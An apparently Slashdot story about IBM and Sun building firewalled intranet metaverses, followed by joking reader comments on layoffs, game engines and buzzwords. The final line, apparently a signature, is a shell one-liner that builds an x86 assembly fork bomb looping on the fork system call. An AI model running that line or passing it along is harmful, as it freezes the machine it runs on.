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IBM and Sun Launch Intranet Metaverses

Posted by samzenpus on from the meet-me-in-thunder-bluff dept.

wjamesau writes "Sun and IBM have launched intranet metaverses designed for business and built to work behind their corporate firewalls, so their worldwide employees can use them to collaborate together. Most interesting to game developers, IBM (which also runs a private, no public access Second Life island as a development lab) created their intranet world from the 3D Torque engine from Garage Games. Will the metaverse actually be thousands of gated community metaverses?"

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  1. It is. by affliction · · Score: 4, Funny

    This is the worst fucking idea ever.

    1. Re:It is. by __aaclcg7560 · · Score: 3, Funny

      You don't get it. This is the first step in IBM's plan fire 150,000 workers world-wide and then hire virtual people to the virtual work that they plan to charge at real prices. It's a brillant strategy!

    2. Re:It is. by schwaang · · Score: 4, Funny

      Actually the Torque engine is a relic from Tribes 2. Everybody hold down your space bar to ski between cubicles!

  2. Answer. by Anonymous Coward · · Score: 4, Funny

    Will the metaverse actually be thousands of gated community metaverses?

    No, that's just silly. A metaverse will be a single line of the first metapoem.

  3. Re:Sun and IBM? by larry+bagina · · Score: 5, Funny

    They've leveraged forces to combine synergies to collaboratively multitask new paradigms for shitcanning their entire US work force.

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    Do you even lift?

    These aren't the 'roids you're looking for.

  4. Re:It is by Harmonious+Botch · · Score: 3, Funny

    Not really. They ARE going to play games on company time. At least this way the employer can sort of put a cap on it. ( And freeze your avatar when you are behind on a deadline )

  5. Re:WTF? by Hal_Porter · · Score: 3, Funny

    Metaverses are an important paradigm in the post Web 2.0 era, taking advantage of the wisdom of crowds and allowing open sourcing of ideas. And furries can yiff in them too.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;